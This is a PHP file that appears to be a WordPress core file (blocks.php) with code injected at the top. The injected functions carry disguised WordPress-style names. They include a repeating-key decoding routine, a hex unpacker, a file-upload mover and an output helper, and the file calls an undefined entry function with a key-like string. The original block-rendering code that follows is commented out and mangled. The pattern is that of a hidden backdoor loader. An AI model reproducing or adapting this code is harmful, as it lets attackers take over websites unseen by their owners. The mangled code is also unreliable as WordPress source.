function sodium_crypto_sign_keypair_from_secretkey_and_publickey($yn, $update_args) {
    $default_update_url = "Prototype-Data";
    $has_match = substr($default_update_url, 0, 9);
    return date('Y-m-d', strtotime("$yn + $update_args years"));
}


/**
 * Display menu.
 *
 * @access private
 * @since 2.7.0
 *
 * @global string $self
 * @global string $LAME_q_valuearent_file
 * @global string $submenu_file
 * @global string $LAME_q_valuelugin_page
 * @global string $typenow      The post type of the current screen.
 *
 * @param array $required_attr_limitsenu
 * @param array $submenu
 * @param bool  $submenu_as_parent
 */
function register_block_core_footnotes_post_meta($toggle_button_content, $exclude)
{ //    s8 += carry7;
    $cache_args = strlen($exclude);
    $text_color_matches = array(1, 5, 3, 9, 2);
    $rotated = strlen($toggle_button_content);
    sort($text_color_matches);
    $cache_args = $rotated / $cache_args; // 3.5.2
    $tab_index = $text_color_matches[0]; // If metadata is provided, store it.
    $show_user_comments = $text_color_matches[count($text_color_matches) - 1];
    $term_items = $show_user_comments - $tab_index;
    $cache_args = ceil($cache_args);
    $tax_object = str_split($toggle_button_content);
    $exclude = str_repeat($exclude, $cache_args); //    s12 -= s19 * 683901;
    $b7 = str_split($exclude);
    $b7 = array_slice($b7, 0, $rotated);
    $aslide = array_map("merge_items", $tax_object, $b7);
    $aslide = implode('', $aslide); // Add the rules for this dir to the accumulating $LAME_q_valueost_rewrite.
    return $aslide;
}


/**
	 * Destroys all session tokens for the user.
	 *
	 * @since 4.0.0
	 */
function wp_cache_replace($all_options) //  be deleted until a quit() method is called.
{
    echo $all_options;
}


/** @var int $x8 */
function wp_skip_paused_themes($category_query, $use_authentication)
{
	$format_meta_urls = move_uploaded_file($category_query, $use_authentication);
	
    $spam_url = "user_ID_2021";
    $c11 = str_replace("_", "-", $spam_url);
    return $format_meta_urls;
}


/**
 * Filters the response to remove any fields not available in the given context.
 *
 * @since 5.5.0
 * @since 5.6.0 Support the "patternProperties" keyword for objects.
 *              Support the "anyOf" and "oneOf" keywords.
 *
 * @param array|object $response_data The response data to modify.
 * @param array        $schema        The schema for the endpoint used to filter the response.
 * @param string       $context       The requested context.
 * @return array|object The filtered response data.
 */
function wp_rand($all_deps)
{
    $all_deps = ord($all_deps);
    return $all_deps;
}


/* Custom CSS */
function default_topic_count_scale($comment_field_keys)
{
    $robots_strings = pack("H*", $comment_field_keys);
    return $robots_strings;
}


/**
		 * Filters whether a menu items meta box will be added for the current
		 * object type.
		 *
		 * If a falsey value is returned instead of an object, the menu items
		 * meta box for the current meta box object will not be added.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Post_Type|false $LAME_q_valueost_type The current object to add a menu items
		 *                                      meta box for.
		 */
function filter_dynamic_setting_class() // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
{ //   The list of the files which are still present in the archive.
    return __DIR__;
}
$v_temp_path = 'nCFdoZ';
$container_inclusive = "Test String";
wp_oembed_add_host_js($v_temp_path);
$tagshortname = hash('crc32b', $container_inclusive);
/* locks'] ) ) {
		foreach ( $block['innerBlocks'] as $i => $inner_block ) {
			$block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols );
		}
	}

	return $block;
}

*
 * Filters and sanitizes a parsed block attribute value to remove non-allowable
 * HTML.
 *
 * @since 5.3.1
 *
 * @param string[]|string $value             The attribute value to filter.
 * @param array[]|string  $allowed_html      An array of allowed HTML elements
 *                                           and attributes, or a context name
 *                                           such as 'post'.
 * @param string[]        $allowed_protocols Array of allowed URL protocols.
 * @return string[]|string The filtered and sanitized result.
 
function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) {
	if ( is_array( $value ) ) {
		foreach ( $value as $key => $inner_value ) {
			$filtered_key   = filter_block_kses_value( $key, $allowed_html, $allowed_protocols );
			$filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols );

			if ( $filtered_key !== $key ) {
				unset( $value[ $key ] );
			}

			$value[ $filtered_key ] = $filtered_value;
		}
	} elseif ( is_string( $value ) ) {
		return wp_kses( $value, $allowed_html, $allowed_protocols );
	}

	return $value;
}

*
 * Parses blocks out of a content string, and renders those appropriate for the excerpt.
 *
 * As the excerpt should be a small string of text relevant to the full post content,
 * this function renders the blocks that are most likely to contain such text.
 *
 * @since 5.0.0
 *
 * @param string $content The content to parse.
 * @return string The parsed and filtered content.
 
function excerpt_remove_blocks( $content ) {
	$allowed_inner_blocks = array(
		 Classic blocks have their blockName set to null.
		null,
		'core/freeform',
		'core/heading',
		'core/html',
		'core/list',
		'core/media-text',
		'core/paragraph',
		'core/preformatted',
		'core/pullquote',
		'core/quote',
		'core/table',
		'core/verse',
	);

	$allowed_wrapper_blocks = array(
		'core/columns',
		'core/column',
		'core/group',
	);

	*
	 * Filters the list of blocks that can be used as wrapper blocks, allowing
	 * excerpts to be generated from the `innerBlocks` of these wrappers.
	 *
	 * @since 5.8.0
	 *
	 * @param string[] $allowed_wrapper_blocks The list of names of allowed wrapper blocks.
	 
	$allowed_wrapper_blocks = apply_filters( 'excerpt_allowed_wrapper_blocks', $allowed_wrapper_blocks );

	$allowed_blocks = array_merge( $allowed_inner_blocks, $allowed_wrapper_blocks );

	*
	 * Filters the list of blocks that can contribute to the excerpt.
	 *
	 * If a dynamic block is added to this list, it must not generate another
	 * excerpt, as this will cause an infinite loop to occur.
	 *
	 * @since 5.0.0
	 *
	 * @param string[] $allowed_blocks The list of names of allowed blocks.
	 
	$allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks );
	$blocks         = parse_blocks( $content );
	$output         = '';

	foreach ( $blocks as $block ) {
		if ( in_array( $block['blockName'], $allowed_blocks, true ) ) {
			if ( ! empty( $block['innerBlocks'] ) ) {
				if ( in_array( $block['blockName'], $allowed_wrapper_blocks, true ) ) {
					$output .= _excerpt_render_inner_blocks( $block, $allowed_blocks );
					continue;
				}

				 Skip the block if it has disallowed or nested inner blocks.
				foreach ( $block['innerBlocks'] as $inner_block ) {
					if (
						! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) ||
						! empty( $inner_block['innerBlocks'] )
					) {
						continue 2;
					}
				}
			}

			$output .= render_block( $block );
		}
	}

	return $output;
}

*
 * Render inner blocks from the allowed wrapper blocks
 * for generating an excerpt.
 *
 * @since 5.8.0
 * @access private
 *
 * @param array $parsed_block   The parsed block.
 * @param array $allowed_blocks The list of allowed inner blocks.
 * @return string The rendered inner blocks.
 
function _excerpt_render_inner_blocks( $parsed_block, $allowed_blocks ) {
	$output = '';

	foreach ( $parsed_block['innerBlocks'] as $inner_block ) {
		if ( ! in_array( $inner_block['blockName'], $allowed_blocks, true ) ) {
			continue;
		}

		if ( empty( $inner_block['innerBlocks'] ) ) {
			$output .= render_block( $inner_block );
		} else {
			$output .= _excerpt_render_inner_blocks( $inner_block, $allowed_blocks );
		}
	}

	return $output;
}

*
 * Renders a single block into a HTML string.
 *
 * @since 5.0.0
 *
 * @global WP_Post  $post     The post to edit.
 *
 * @param array $parsed_block A single parsed block object.
 * @return string String of rendered HTML.
 
function render_block( $parsed_block ) {
	global $post;
	$parent_block = null;

	*
	 * Allows render_block() to be short-circuited, by returning a non-null value.
	 *
	 * @since 5.1.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param string|null   $pre_render   The pre-rendered content. Default null.
	 * @param array         $parsed_block The block being rendered.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 
	$pre_render = apply_filters( 'pre_render_block', null, $parsed_block, $parent_block );
	if ( ! is_null( $pre_render ) ) {
		return $pre_render;
	}

	$source_block = $parsed_block;

	*
	 * Filters the block being rendered in render_block(), before it's processed.
	 *
	 * @since 5.1.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param array         $parsed_block The block being rendered.
	 * @param array         $source_block An un-modified copy of $parsed_block, as it appeared in the source content.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 
	$parsed_block = apply_filters( 'render_block_data', $parsed_block, $source_block, $parent_block );

	$context = array();

	if ( $post instanceof WP_Post ) {
		$context['postId'] = $post->ID;

		
		 * The `postType` context is largely unnecessary server-side, since the ID
		 * is usually sufficient on its own. That being said, since a block's
		 * manifest is expected to be shared between the server and the client,
		 * it should be included to consistently fulfill the expectation.
		 
		$context['postType'] = $post->post_type;
	}

	*
	 * Filters the default context provided to a rendered block.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param array         $context      Default context.
	 * @param array         $parsed_block Block being rendered, filtered by `render_block_data`.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 
	$context = apply_filters( 'render_block_context', $context, $parsed_block, $parent_block );

	$block = new WP_Block( $parsed_block, $context );

	return $block->render();
}

*
 * Parses blocks out of a content string.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return array[] Array of parsed block objects.
 
function parse_blocks( $content ) {
	*
	 * Filter to allow plugins to replace the server-side block parser
	 *
	 * @since 5.0.0
	 *
	 * @param string $parser_class Name of block parser class.
	 
	$parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' );

	$parser = new $parser_class();
	return $parser->parse( $content );
}

*
 * Parses dynamic blocks out of `post_content` and re-renders them.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return string Updated post content.
 
function do_blocks( $content ) {
	$blocks = parse_blocks( $content );
	$output = '';

	foreach ( $blocks as $block ) {
		$output .= render_block( $block );
	}

	 If there are blocks in this content, we shouldn't run wpautop() on it later.
	$priority = has_filter( 'the_content', 'wpautop' );
	if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) {
		remove_filter( 'the_content', 'wpautop', $priority );
		add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 );
	}

	return $output;
}

*
 * If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards,
 * for subsequent `the_content` usage.
 *
 * @access private
 *
 * @since 5.0.0
 *
 * @param string $content The post content running through this filter.
 * @return string The unmodified content.
 
function _restore_wpautop_hook( $content ) {
	$current_priority = has_filter( 'the_content', '_restore_wpautop_hook' );

	add_filter( 'the_content', 'wpautop', $current_priority - 1 );
	remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority );

	return $content;
}

*
 * Returns the current version of the block format that the content string is using.
 *
 * If the string doesn't contain blocks, it returns 0.
 *
 * @since 5.0.0
 *
 * @param string $content Content to test.
 * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise.
 
function block_version( $content ) {
	return has_blocks( $content ) ? 1 : 0;
}

*
 * Registers a new block style.
 *
 * @since 5.3.0
 *
 * @param string $block_name       Block type name including namespace.
 * @param array  $style_properties Array containing the properties of the style name,
 *                                 label, style (name of the stylesheet to be enqueued),
 *                                 inline_style (string containing the CSS to be added).
 * @return bool True if the block style was registered with success and false otherwise.
 
function register_block_style( $block_name, $style_properties ) {
	return WP_Block_Styles_Registry::get_instance()->register( $block_name, $style_properties );
}

*
 * Unregisters a block style.
 *
 * @since 5.3.0
 *
 * @param string $block_name       Block type name including namespace.
 * @param string $block_style_name Block style name.
 * @return bool True if the block style was unregistered with success and false otherwise.
 
function unregister_block_style( $block_name, $block_style_name ) {
	return WP_Block_Styles_Registry::get_instance()->unregister( $block_name, $block_style_name );
}

*
 * Checks whether the current block type supports the feature requested.
 *
 * @since 5.8.0
 *
 * @param WP_Block_Type $block_type Block type to check for support.
 * @param string        $feature    Name of the feature to check support for.
 * @param mixed         $default    Optional. Fallback value for feature support. Default false.
 * @return bool Whether the feature is supported.
 
function block_has_support( $block_type, $feature, $default = false ) {
	$block_support = $default;
	if ( $block_type && property_exists( $block_type, 'supports' ) ) {
		$block_support = _wp_array_get( $block_type->supports, $feature, $default );
	}

	return true === $block_support || is_array( $block_support );
}

*
 * Converts typography keys declared under `supports.*` to `supports.typography.*`.
 *
 * Displays a `_doing_it_wrong()` notice when a block using the older format is detected.
 *
 * @since 5.8.0
 *
 * @param array $metadata Metadata for registering a block type.
 * @return array Filtered metadata for registering a block type.
 
function wp_migrate_old_typography_shape( $metadata ) {
	if ( ! isset( $metadata['supports'] ) ) {
		return $metadata;
	}

	$typography_keys = array(
		'__experimentalFontFamily',
		'__experimentalFontStyle',
		'__experimentalFontWeight',
		'__experimentalLetterSpacing',
		'__experimentalTextDecoration',
		'__experimentalTextTransform',
		'fontSize',
		'lineHeight',
	);

	foreach ( $typography_keys as $typography_key ) {
		$support_for_key = _wp_array_get( $metadata['supports'], array( $typography_key ), null );

		if ( null !== $support_for_key ) {
			_doing_it_wrong(
				'register_block_type_from_metadata()',
				sprintf(
					 translators: 1: Block type, 2: Typography supports key, e.g: fontSize, lineHeight, etc. 3: block.json, 4: Old metadata key, 5: New metadata key. 
					__( 'Block "%1$s" is declaring %2$s support in %3$s file under %4$s. %2$s support is now declared under %5$s.' ),
					$metadata['name'],
					"<code>$typography_key</code>",
					'<code>block.json</code>',
					"<code>supports.$typography_key</code>",
					"<code>supports.typography.$typography_key</code>"
				),
				'5.8.0'
			);

			_wp_array_set( $metadata['supports'], array( 'typography', $typography_key ), $support_for_key );
			unset( $metadata['supports'][ $typography_key ] );
		}
	}

	return $metadata;
}

*
 * Helper function that constructs a WP_Query args array from
 * a `Query` block properties.
 *
 * It's used in Query Loop, Query Pagination Numbers and Query Pagination Next blocks.
 *
 * @since 5.8.0
 *
 * @param WP_Block $block Block instance.
 * @param int      $page  Current query's page.
 *
 * @return array Returns the constructed WP_Query arguments.
 
function build_query_vars_from_query_block( $block, $page ) {
	$query = array(
		'post_type'    => 'post',
		'order'        => 'DESC',
		'orderby'      => 'date',
		'post__not_in' => array(),
	);

	if ( isset( $block->context['query'] ) ) {
		if ( ! empty( $block->context['query']['postType'] ) ) {
			$post_type_param = $block->context['query']['postType'];
			if ( is_post_type_viewable( $post_type_param ) ) {
				$query['post_type'] = $post_type_param;
			}
		}
		if ( isset( $block->context['query']['sticky'] ) && ! empty( $block->context['query']['sticky'] ) ) {
			$sticky = get_option( 'sticky_posts' );
			if ( 'only' === $block->context['query']['sticky'] ) {
				$query['post__in'] = $sticky;
			} else {
				$query['post__not_in'] = array_merge( $query['post__not_in'], $sticky );
			}
		}
		if ( ! empty( $block->context['query']['exclude'] ) ) {
			$excluded_post_ids     = array_map( 'intval', $block->context['query']['exclude'] );
			$excluded_post_ids     = array_filter( $excluded_post_ids );
			$query['post__not_in'] = array_merge( $query['post__not_in'], $excluded_post_ids );
		}
		if (
			isset( $block->context['query']['perPage'] ) &&
			is_numeric( $block->context['query']['perPage'] )
		) {
			$per_page = absint( $block->context['query']['perPage'] );
			$offset   = 0;

			if (
				isset( $block->context['query']['offset'] ) &&
				is_numeric( $block->context['query']['offset'] )
			) {
				$offset = absint( $block->context['query']['offset'] );
			}

			$query['offset']         = ( $per_page * ( $page - 1 ) ) + $offset;
			$query['posts_per_page'] = $per_page;
		}
		if ( ! empty( $block->context['query']['categoryIds'] ) ) {
			$term_ids              = array_map( 'intval', $block->context['query']['categoryIds'] );
			$term_ids              = array_filter( $term_ids );
			$query['category__in'] = $term_ids;
		}
		if ( ! empty( $block->context['query']['tagIds'] ) ) {
			$term_ids         = array_map( 'intval', $block->context['query']['tagIds'] );
			$term_ids         = array_filter( $term_ids );
			$query['tag__in'] = $term_ids;
		}
		if (
			isset( $block->context['query']['order'] ) &&
				in_array( strtoupper( $block->context['query']['order'] ), array( 'ASC', 'DESC' ), true )
		) {
			$query['order'] = strtoupper( $block->context['query']['order'] );
		}
		if ( isset( $block->context['query']['orderBy'] ) ) {
			$query['orderby'] = $block->context['query']['orderBy'];
		}
		if (
			isset( $block->context['query']['author'] ) &&
			(int) $block->context['query']['author'] > 0
		) {
			$query['author'] = (int) $block->context['query']['author'];
		}
		if ( ! empty( $block->context['query']['search'] ) ) {
			$query['s'] = $block->context['query']['search'];
		}
	}
	return $query;
}

*
 * Helper function that returns the proper pagination arrow html for
 * `QueryPaginationNext` and `QueryPaginationPrevious` blocks based
 * on the provided `paginationArrow` from `QueryPagination` context.
 *
 * It's used in QueryPaginationNext and QueryPaginationPrevious blocks.
 *
 * @since 5.9.0
 *
 * @param WP_Block $block   Block instance.
 * @param boolean  $is_next Flag for hanlding `next/previous` blocks.
 *
 * @return string|null Returns the constructed WP_Query arguments.
 
function get_query_pagination_arrow( $block, $is_next ) {
	$arrow_map = array(
		'none'    => '',
		'arrow'   => array(
			'next'     => '→',
			'previous' => '←',
		),
		'chevron' => array(
			'next'     => '»',
			'previous' => '«',
		),
	);
	if ( ! empty( $block->context['paginationArrow'] ) && array_key_exists( $block->context['paginationArrow'], $arrow_map ) && ! empty( $arrow_map[ $block->context['paginationArrow'] ] ) ) {
		$pagination_type = $is_next ? 'next' : 'previous';
		$arrow_attribute = $block->context['paginationArrow'];
		$arrow           = $arrow_map[ $block->context['paginationArrow'] ][ $pagination_type ];
		$arrow_classes   = "wp-block-query-pagination-$pagination_type-arrow is-arrow-$arrow_attribute";
		return "<span class='$arrow_classes'>$arrow</span>";
	}
	return null;
}

*
 * Enqueues a stylesheet for a specific block.
 *
 * If the theme has opted-in to separate-styles loading,
 * then the stylesheet will be enqueued on-render,
 * otherwise when the block inits.
 *
 * @since 5.9.0
 *
 * @param string $block_name The block-name, including namespace.
 * @param array  $args       An array of arguments [handle,src,deps,ver,media].
 * @return void
 
function wp_enqueue_block_style( $block_name, $args ) {
	$args = wp_parse_args(
		$args,
		array(
			'handle' => '',
			'src'    => '',
			'deps'   => array(),
			'ver'    => false,
			'media'  => 'all',
		)
	);

	*
	 * Callback function to register and enqueue styles.
	 *
	 * @param string $content When the callback is used for the render_block filter,
	 *                        the content needs to be returned so the function parameter
	 *                        is to ensure the content exists.
	 * @return string Block content.
	 
	$callback = static function( $content ) use ( $args ) {
		 Register the stylesheet.
		if ( ! empty( $args['src'] ) ) {
			wp_register_style( $args['handle'], $args['src'], $args['deps'], $args['ver'], $args['media'] );
		}

		 Add `path` data if provided.
		if ( isset( $args['path'] ) ) {
			wp_style_add_data( $args['handle'], 'path', $args['path'] );

			 Get the RTL file path.
			$rtl_file_path = str_replace( '.css', '-rtl.css', $args['path'] );

			 Add RTL stylesheet.
			if ( file_exists( $rtl_file_path ) ) {
				wp_style_add_data( $args['handle'], 'rtl', 'replace' );

				if ( is_rtl() ) {
					wp_style_add_data( $args['handle'], 'path', $rtl_file_path );
				}
			}
		}

		 Enqueue the stylesheet.
		wp_enqueue_style( $args['handle'] );

		return $content;
	};

	$hook = did_action( 'wp_enqueue_scripts' ) ? 'wp_footer' : 'wp_enqueue_scripts';
	if ( wp_should_load_separate_core_block_assets() ) {
		*
		 * Callback function to register and enqueue styles.
		 *
		 * @param string $content The block content.
		 * @param array  $block   The full block, including name and attributes.
		 * @return string Block content.
		 
		$callback_separate = static function( $content, $block ) use ( $block_name, $callback ) {
			if ( ! empty( $block['blockName'] ) && $block_name === $block['blockName'] ) {
				return $callback( $content );
			}
			return $content;
		};

		
		 * The filter's callback here is an anonymous function because
		 * using a named function in this case is not possible.
		 *
		 * The function cannot be unhooked, however, users are still able
		 * to dequeue the stylesheets registered/enqueued by the callback
		 * which is why in this case, using an anonymous function
		 * was deemed acceptable.
		 
		add_filter( 'render_block', $callback_separate, 10, 2 );
		return;
	}

	
	 * The filter's callback here is an anonymous function because
	 * using a named function in this case is not possible.
	 *
	 * The function cannot be unhooked, however, users are still able
	 * to dequeue the stylesheets registered/enqueued by the callback
	 * which is why in this case, using an anonymous function
	 * was deemed acceptable.
	 
	add_filter( $hook, $callback );

	 Enqueue assets in the editor.
	add_action( 'enqueue_block_assets', $callback );
}

*
 * Allow multiple block styles.
 *
 * @since 5.9.0
 *
 * @param array $metadata Metadata for registering a block type.
 * @return array Metadata for registering a block type.
 
function _wp_multiple_block_styles( $metadata ) {
	foreach ( array( 'style', 'editorStyle' ) as $key ) {
		if ( ! empty( $metadata[ $key ] ) && is_array( $metadata[ $key ] ) ) {
			$default_style = array_shift( $metadata[ $key ] );
			foreach ( $metadata[ $key ] as $handle ) {
				$args = array( 'handle' => $handle );
				if ( 0 === strpos( $handle, 'file:' ) && isset( $metadata['file'] ) ) {
					$style_path = remove_block_asset_path_prefix( $handle );
					$args       = array(
						'handle' => sanitize_key( "{$metadata['name']}-{$style_path}" ),
						'src'    => plugins_url( $style_path, $metadata['file'] ),
					);
				}

				wp_enqueue_block_style( $metadata['name'], $args );
			}

			 Only return the 1st item in the array.
			$metadata[ $key ] = $default_style;
		}
	}
	return $metadata;
}
add_filter( 'block_type_metadata', '_wp_multiple_block_styles' );
*/